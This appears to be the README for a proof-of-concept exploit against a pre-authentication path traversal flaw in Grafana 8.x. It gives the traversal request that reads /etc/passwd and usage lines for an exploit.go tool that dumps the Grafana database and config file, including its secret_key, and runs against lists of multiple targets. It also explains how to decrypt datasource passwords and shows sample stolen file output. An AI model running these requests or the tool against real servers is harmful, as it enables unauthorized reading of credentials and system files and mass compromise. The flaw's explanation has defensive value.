Grafana 8.x Local File Inclusion (Pre-Auth)
CVE: Pending
All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607
Disclaimer
This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.
In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.
Table of Content
- Explanation - Explaining the vulnerability
- Attack Vectors - List of attacks you can carry out
- Exploit Script - Exploit script usage
Explanation
I noticed a tweet by j0v claiming to have found a Grafana path traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from the user.
Grafana has a public API endpoint, /public/plugins/:pluginId
, which allows you to view a plugin's assets. This works by providing a valid :pluginId
and then specifying the file path, such as img/logo.png
. However, Grafana fails to sanitize the user provided file path, leading to path traversal.
The directory being accessed is at <grafana>/public/app/plugins/panel/<pluginId>
. On a standard Grafana installation, the Grafana data directory is /usr/share/grafana
. So by going back 8 directories, you can reach the filesystem root directory.
HTTP Request:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Note: This does not work in the browser or in curl (not sure why)
Attack Vectors
These are some attacks that can be carried out using this vulnerability
Dumping Sqlite Database
Grafana, by default, uses a sqlite3 database. This is stored in /var/lib/grafana/grafana.db
. You can use the exploit.go script to dump this database
Example:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
You can then read this database to obtain users, auth tokens, and data sources.
Dumping defaults.ini Config File
Grafana stores its configuration in a <grafana>/conf/defaults.ini
file. There are a couple of interesting values here such as secret_key
, host
user
password
if using mysql isntead of sqlite3.
Example:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Reference: https://grafana.com/docs/grafana/latest/administration/configuration/
Decrypting Datasource Passwords
Grafana encrypts all data source passwords using AES-256-CBC using the secret_key
in the defaults.ini
config file. We can dump this config file, as shown above, and then decrypt the values from the database.
Reference: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key
Session Takeover
Grafana stores session tokens in the table auth_tokens
. I haven't been able to take over a session, but if you read the source code, you could figure it out.
Exploit Script
Example
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
Grafana 8.x Local File Inclusion (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
Single Target
go run exploit.go -target <target> -file <path>
Output to file
go run exploit.go -target <target> -file <path> -output <file>
Note: Does not work with multiple targets
Multiple Targets
go run exploit.go -list <list> -file <path>
Dump defaults.ini
go run exploit.go -target <target> -dump-config
Dump sqlite3 database
go run exploit.go -target <target> -dump-database
Build
make build